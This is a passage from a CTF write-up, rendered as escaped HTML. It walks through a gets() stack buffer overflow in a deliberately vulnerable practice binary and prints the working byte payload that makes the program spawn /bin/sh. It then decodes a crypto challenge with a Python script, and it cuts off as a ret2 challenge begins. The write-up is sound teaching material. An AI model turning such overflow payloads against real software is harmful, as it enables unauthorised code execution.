- 0x000000000040127c &lt;+134&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x0000000000401281 &lt;+139&gt;: lea rdi,[rip+0xec8] # 0x402150
- 0x0000000000401288 &lt;+146&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x000000000040128d &lt;+151&gt;: lea rdi,[rip+0xf1c] # 0x4021b0
- 0x0000000000401294 &lt;+158&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x0000000000401299 &lt;+163&gt;: lea rax,[rbp-0x30]
- 0x000000000040129d &lt;+167&gt;: mov rdi,rax
- 0x00000000004012a0 &lt;+170&gt;: call 0x4010f0 &lt;gets@plt&gt;
- 0x00000000004012a5 &lt;+175&gt;: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
- 0x00000000004012aa &lt;+180&gt;: jne 0x4012b8 &lt;main+194&gt;
- 0x00000000004012ac &lt;+182&gt;: lea rdi,[rip+0xf35] # 0x4021e8
- 0x00000000004012b3 &lt;+189&gt;: call 0x4010c0 &lt;system@plt&gt;
- 0x00000000004012b8 &lt;+194&gt;: mov eax,0x0
- 0x00000000004012bd &lt;+199&gt;: leave
- 0x00000000004012be &lt;+200&gt;: ret
-End of assembler dump.
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- This isn't the full output from gdb, but only the last few lines. A few things
-should immediately stand out: the 3
- &lt;code&gt;
- &lt;puts@plt&gt;
- &lt;/code&gt;
- calls, and right after the
-call to
- &lt;code&gt;
- &lt;gets@plt&gt;
- &lt;/code&gt;
- . These are the assembly equivalent of:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-c" style="white-space:pre"&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_messages
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_message_index
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "can you write me a heartfelt message to cheer me up? :("
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- gets
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- heartfelt_message
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Since I didn't see any reference to a flag file being read, I assumed that the
- &lt;code&gt;
- system("/bin/sh")
- &lt;/code&gt;
- call is our main target, so let's see if we can find that
-in our assembly code. There's a call to
- &lt;code&gt;
- &lt;system@plt&gt;
- &lt;/code&gt;
- at
- &lt;code&gt;
- &lt;main+189&gt;
- &lt;/code&gt;
- , and
-there's other weird
- &lt;code&gt;
- cmp
- &lt;/code&gt;
- ,
- &lt;code&gt;
- jne
- &lt;/code&gt;
- and
- &lt;code&gt;
- lea
- &lt;/code&gt;
- instructions before. Let's figure
-out what those do!
- &lt;/p&gt;
- &lt;p&gt;
- After some stackoverflow soul searching, I found out that the
- &lt;code&gt;
- cmp
- &lt;/code&gt;
- and
- &lt;code&gt;
- jne
- &lt;/code&gt;
- are assembly instructions for compare, and jump-if-not-equal. They work like
-this:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-asm6502" style="white-space:pre"&gt;
- &lt;span class="token comment"&gt;
- ; cmp compares what's in the $rbp register to 0xffffffffffffffff
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; and turns on the ZERO flag if they're equal
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- 0x004012a5 &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 0
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;:
- &lt;/span&gt;
- &lt;span class="token opcode property"&gt;
- cmp
- &lt;/span&gt;
- &lt;span class=""&gt;
- QWORD PTR [rbp-0x8],0xffffffffffffffff
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; jne checks if the ZERO flag is on,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; and if it is it jumps (in this case) to 0x4012b8
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- ┌--0x004012aa &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 1
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: jne 0x4012b8 &lt;main+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 194
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- │
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; we can safely ignore the `lea` instruction as it doesn't impact our pwn
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- │ 0x004012ac &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 2
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: lea rdi,[rip+0xf35] # 0x4021e8
- &lt;/span&gt;
- │
- &lt;span class=""&gt;
- │
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; the almighty syscall
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- │ 0x004012b3 &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 3
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: call 0x4010c0 &lt;system@plt&gt;
- &lt;/span&gt;
- │
- &lt;span class=""&gt;
- │
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- ; from here on the program exits without calling /bin/sh
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- └-&gt;0x004012b8 &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 4
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: mov eax,0x0
- &lt;/span&gt;
- &lt;span class=""&gt;
- 0x004012bd &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 5
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: leave
- &lt;/span&gt;
- &lt;span class=""&gt;
- 0x004012be &lt;+
- &lt;/span&gt;
- &lt;span class="token decimalnumber string"&gt;
- 6
- &lt;/span&gt;
- &lt;span class=""&gt;
- &gt;: ret
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- The program checks if there's
- &lt;code&gt;
- 0xffffffffffffffff
- &lt;/code&gt;
- in memory
- &lt;code&gt;
- 0x8
- &lt;/code&gt;
- bytes before
-the
- &lt;code&gt;
- $rbp
- &lt;/code&gt;
- register. The program allocates 32 bytes of memory for our heartfelt
-message, but it continues reading even if our heartfelt message is longer than
-32 bytes. Let's see if we can overwrite that register &gt;:)
- &lt;/p&gt;
- &lt;p&gt;
- Let's set a breakpoint after the
- &lt;code&gt;
- &lt;gets@plt&gt;
- &lt;/code&gt;
- call in gdb, and run the program
-with 40 bytes of
- &lt;code&gt;
- 0x61
- &lt;/code&gt;
- ('a')
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) break *0x00000000004012a5
-Breakpoint 1 at 0x4012a5
-
-(gdb) run &lt; &lt;(python3 -c "print('a' * 40)")
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- I'm using the
- &lt;code&gt;
- run
- &lt;/code&gt;
- command with
- &lt;code&gt;
- &lt;
- &lt;/code&gt;
- and
- &lt;code&gt;
- &lt;()
- &lt;/code&gt;
- to pipe the output of python
-into the program's
- &lt;code&gt;
- stdin
- &lt;/code&gt;
- . It's unnecessary at this stage because there's an
-'a' key on my keyboard, but if we were to send raw bytes, this would make it a
-lot easier.
- &lt;/p&gt;
- &lt;p&gt;
- I'm also using
- &lt;a href="https://github.com/hugsy/gef"&gt;
- gef
- &lt;/a&gt;
- so I get access to a command
-called
- &lt;code&gt;
- context
- &lt;/code&gt;
- which prints all sorts of information about registers, the
-stack and a small dissassembly window. I won't show it's output here, but it
-was an indispensable tool that you should install nonetheless.
- &lt;/p&gt;
- &lt;p&gt;
- Let's print the memory at
- &lt;code&gt;
- [$rbp - 0x8]
- &lt;/code&gt;
- :
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) x/8gx $rbp - 0x8
-0x7fffffffd758: 0x0000000000000000 0x0000000000000000
-0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858
-0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
-0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Hmmm, no overwriteage yet. Let's try 56 bytes instead:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) run &lt; &lt;(python3 -c "print('a' * 56)")
-(gdb) x/8gx $rbp - 0x8
-0x7fffffffd758: 0x6161616161616161 0x6161616161616161
-0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858
-0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
-0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
-(gdb) x/1gx $rbp - 0x8
-0x7fffffffd758: 0x6161616161616161
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Jackpot! We've overwritten 16 bytes of the adress that the
- &lt;code&gt;
- cmp
- &lt;/code&gt;
- instruction
-reads. Let's try setting it to
- &lt;code&gt;
- 0xff
- &lt;/code&gt;
- instead, so we get a shell. Python 3 is
-not that great for binary exploitation, so the code for this is a little bit
-ugly, but if it works, it works!
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) run &lt; &lt;(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
-(gdb) x/1gx $rbp - 0x8
-0x7fffffffd758: 0xffffffffffffffff
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Now let's let execution continue as normal by using the
- &lt;code&gt;
- continue
- &lt;/code&gt;
- command:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) continue
-Continuing.
-[Detaching after vfork from child process 22950]
-[Inferior 1 (process 22947) exited normally]
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- This might seem underwhelming, but our explit works! A child process was
-spawned, and as a bonus, we didn't get any segmentation faults! The reason we
-don't get an interactive shell is because we used python to pipe input into the
-program which makes it non-interactive.
- &lt;/p&gt;
- &lt;p&gt;
- At this point I was about 12 hours in of straight gdb hell, and I was very
-happy to see this shell. After discovering this, I immediately tried it outside
-the debugger and was dissapointed to see that my exploit didn't work. After a
-small panick attack I found out this was because of my environment variables.
-You can launch an environment-less shell by using the
- &lt;code&gt;
- env -i sh
- &lt;/code&gt;
- command:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- λ generic → λ git master* → env -i sh
-sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
-"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨"
-rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
-can you write me a heartfelt message to cheer me up? :(
-sh-5.1$ # another shell :tada:
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Now it was time to actually do the exploit on the remote server.
- &lt;/p&gt;
- &lt;p&gt;
- I whipped up the most disgusting and janky python code that I won't go into
-detail about, but here's what is does (in short):
- &lt;/p&gt;
- &lt;ol&gt;
- &lt;li&gt;
- Create a thread to capture data from the server and forward it to
- &lt;code&gt;
- stdout
- &lt;/code&gt;
- &lt;/li&gt;
- &lt;li&gt;
- Capture user commands using
- &lt;code&gt;
- input()
- &lt;/code&gt;
- and decide what to do with them on the main thread
- &lt;/li&gt;
- &lt;/ol&gt;
- &lt;p&gt;
- The code for this script can be found
- &lt;a href="https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py"&gt;
- here
- &lt;/a&gt;
- ,
-though be warned, it's
- &lt;em&gt;
- very
- &lt;/em&gt;
- janky and you're probably better off copying
-stuff from stackoverflow. Writing your own tools is more fun though, and might
-also be faster than trying to wrestle with existing tools to try to get them to
-do exactly what you want them to do. In this case I could've also just used
- &lt;a href="https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&amp;lq=1"&gt;
- a
-siple
-command
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;p&gt;
- It did help me though and I actually had to copy it for use in the other buffer
-overflow challenge that I solved, so I'll probably refactor it someday for use
-in other CTFs.
- &lt;/p&gt;
- &lt;h3 id="cryptoround-the-bases"&gt;
- crypto/round-the-bases
- &lt;/h3&gt;
- &lt;p&gt;
- This crypto challenge uses a text file with some hidden information. If you
-open up the file in a text editor, and adjust your window width, you'll
-eventually see the repeating pattern line up. This makes it very easy to see
-what part of the pattern is actually changing:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- ----------------------xxxx----
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
-[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- I wrote a simple python script to parse this into binary data, and it worked on
-the first try:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-py" style="white-space:pre"&gt;
- &lt;span class="token comment"&gt;
- # read the file into a string
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- file
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- open
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "./round-the-bases"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- content
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- file
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class=""&gt;
- read
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- file
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class=""&gt;
- close
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # split on every 30th character into a list
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- n
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 30
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- arr
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- content
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- +
- &lt;/span&gt;
- &lt;span class=""&gt;
- n
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- for
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- in
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- range
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- len
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- content
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- n
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- for
- &lt;/span&gt;
- &lt;span class=""&gt;
- line
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- in
- &lt;/span&gt;
- &lt;span class=""&gt;
- arr
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- sub
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- line
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 16
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 20
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # the part that changes
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- if
- &lt;/span&gt;
- &lt;span class=""&gt;
- sub
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- ==
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'IIcu'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # IIcu -&gt; 0x0
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class=""&gt;
- append
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- '0'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- else
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # K0o0 -&gt; 0x1
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class=""&gt;
- append
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- '1'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- ''
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class=""&gt;
- join
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # join all the list indices together into a string
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # decode the binary string into ascii characters
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- for
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- in
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- range
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- len
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 8
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- print
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- chr
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- int
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token builtin"&gt;
- bin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- :
- &lt;/span&gt;
- &lt;span class=""&gt;
- i
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- +
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 8
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 2
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- end
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- ''
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- # newline for good measure
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- print
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "\n"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- end
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- ''
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;h3 id="pwnret2generic-flag-reader"&gt;
- pwn/ret2generic-flag-reader
- &lt;/h3&gt;
- &lt;p&gt;
- This was the second binary exploitation challenge I tackled, and it went much
-better than the first because I (sort of) knew what I was doing by now.
- &lt;/p&gt;
- &lt;p&gt;
- I figured the 'ret2' part of the title challenge was short for 'return to', and
-my suspicion was confirmed after looking at the c source:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-c" style="white-space:pre"&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;stdio.h&gt;
- &lt;/span&gt;
